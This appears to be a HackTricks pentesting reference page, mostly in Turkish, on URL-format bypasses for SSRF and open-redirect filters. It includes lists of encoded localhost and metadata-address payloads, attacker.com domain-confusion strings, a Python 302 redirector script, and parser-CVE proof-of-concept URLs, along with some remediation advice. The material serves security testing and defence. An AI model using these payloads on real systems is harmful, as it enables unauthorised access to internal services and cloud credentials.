URL Format Bypass

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Localhost

bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Burp eklentisi Burp-Encode-IP IP formatlama atlatmalarını uygular.

Alan Adı Ayrıştırıcı

bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Alan Karışıklığı

bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Paths and Extensions Bypass

Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki atlatmalardan birini deneyebilirsiniz:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

The tool recollapse belirli bir girdi üzerinden varyasyonlar üretebilir ve kullanılan regex'i atlatmaya çalışabilir. Daha fazla bilgi için bu yazıya da göz atın.

Automatic Custom Wordlists

Portswigger'dan URL validation bypass cheat sheet web uygulamasına göz atın; burada izin verilen host ve saldırganın hostunu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca, URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy

Bypass via redirect

Sunucunun bir SSRF'nin orijinal isteğini filtreliyor olması ama bu isteğe yönelik olası bir redirect yanıtını filtrelemiyor olması mümkün olabilir.
Örneğin, url=https://www.google.com/ üzerinden SSRF'ye karşı savunmasız bir sunucu url parametresini filtreliyor olabilir. Ancak, yönlendirmek istediğiniz yere bir python sunucusu ile 302 yanıtı verirseniz, 127.0.0.1 gibi filtrelenmiş IP adreslerine veya hatta gopher gibi filtrelenmiş protokollere erişebilirsiniz.
Bu rapora göz atın.

python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Açıklanan Hileler

Blackslash-hilesi

Backslash-hilesi, WHATWG URL Standard ve RFC3986 arasındaki bir farkı kullanır. RFC3986, URI'ler için genel bir çerçeve iken, WHATWG web URL'lerine özgüdür ve modern tarayıcılar tarafından benimsenmiştir. Anahtar ayrım, WHATWG standardının backslash (\) karakterini forward slash (/) ile eşdeğer olarak tanımasında yatmaktadır; bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaret eder.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Sol köşeli parantez

Kullanıcı bilgisi segmentindeki “sol köşeli parantez” karakteri [ Spring’in UriComponentsBuilder'ının tarayıcılardan farklı bir ana bilgisayar değeri döndürmesine neden olabilir: https://example.com[@attacker.com

Diğer Karışıklıklar

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/ adresinden görüntü

IPv6 Bölge Tanımlayıcı (%25) Hilesi

RFC 6874'ü destekleyen modern URL ayrıştırıcıları, bölge tanımlayıcısı içeren link-local IPv6 adreslerine yüzde işaretinden sonra izin verir. Bazı güvenlik filtreleri bu sözdizimini bilmemekte ve yalnızca köşeli parantez içindeki IPv6 literallerini kaldırmakta, bu da aşağıdaki yükün dahili bir arayüze ulaşmasına izin vermektedir:

text
http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Eğer hedef uygulama, host'un fe80::1 olmadığını doğruluyorsa ancak % ile ayrıştırmayı durduruyorsa, isteği yanlış bir şekilde harici olarak değerlendirebilir. Her zaman adresi güvenlik kararı öncesinde normalleştirin veya isteğe bağlı bölge kimliğini tamamen kaldırın.

Son Kütüphane Ayrıştırma CVE'leri (2022–2025)

Birçok ana akım çerçeve, yukarıda listelenen hilelerle URL doğrulaması aşıldığında SSRF için istismar edilebilecek hostname-uyumsuzluk sorunları yaşamıştır:

YılCVEBileşenHata özetiMinimal PoC
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ userinfo bölümünde izin verilmez, bu nedenle https://example.com\[@internal Spring tarafından host example.com olarak, tarayıcılar tarafından ise internal olarak ayrıştırılır ve host izin listeleri kullanıldığında açık yönlendirme ve SSRF'ye olanak tanır. Spring 5.3.34 / 6.0.19 / 6.1.6+ sürümüne yükseltin.
2023CVE-2023-27592urllib3 <1.26.15Ters eğik çizgi karışıklığı, http://example.com\\@169.254.169.254/ adresinin @ ile ayrılan host filtrelerini aşmasına izin verdi.
2022CVE-2022-3602OpenSSLİsim bir . ile sonlandığında hostname doğrulaması atlandı (noktasız alan karışıklığı).

Üçüncü taraf URL ayrıştırıcılarına güvendiğinizde, güvendiğiniz kütüphaneden dönen kanonikleştirilmiş host'u kullanıcı tarafından sağlanan ham dize ile karşılaştırın bu tür sorunları tespit etmek için.

Yükleme oluşturma yardımcıları (2024+)

Büyük özel kelime listeleri oluşturmak zahmetlidir. Açık kaynak aracı SSRF-PayloadMaker (Python 3) artık 80 k+ host karıştırma kombinasyonlarını otomatik olarak oluşturabilir, karışık kodlamalar, zorunlu-HTTP düşürme ve ters eğik çizgi varyantlarını içerir:

bash
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

Elde edilen liste doğrudan Burp Intruder veya ffuf'a verilebilir.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin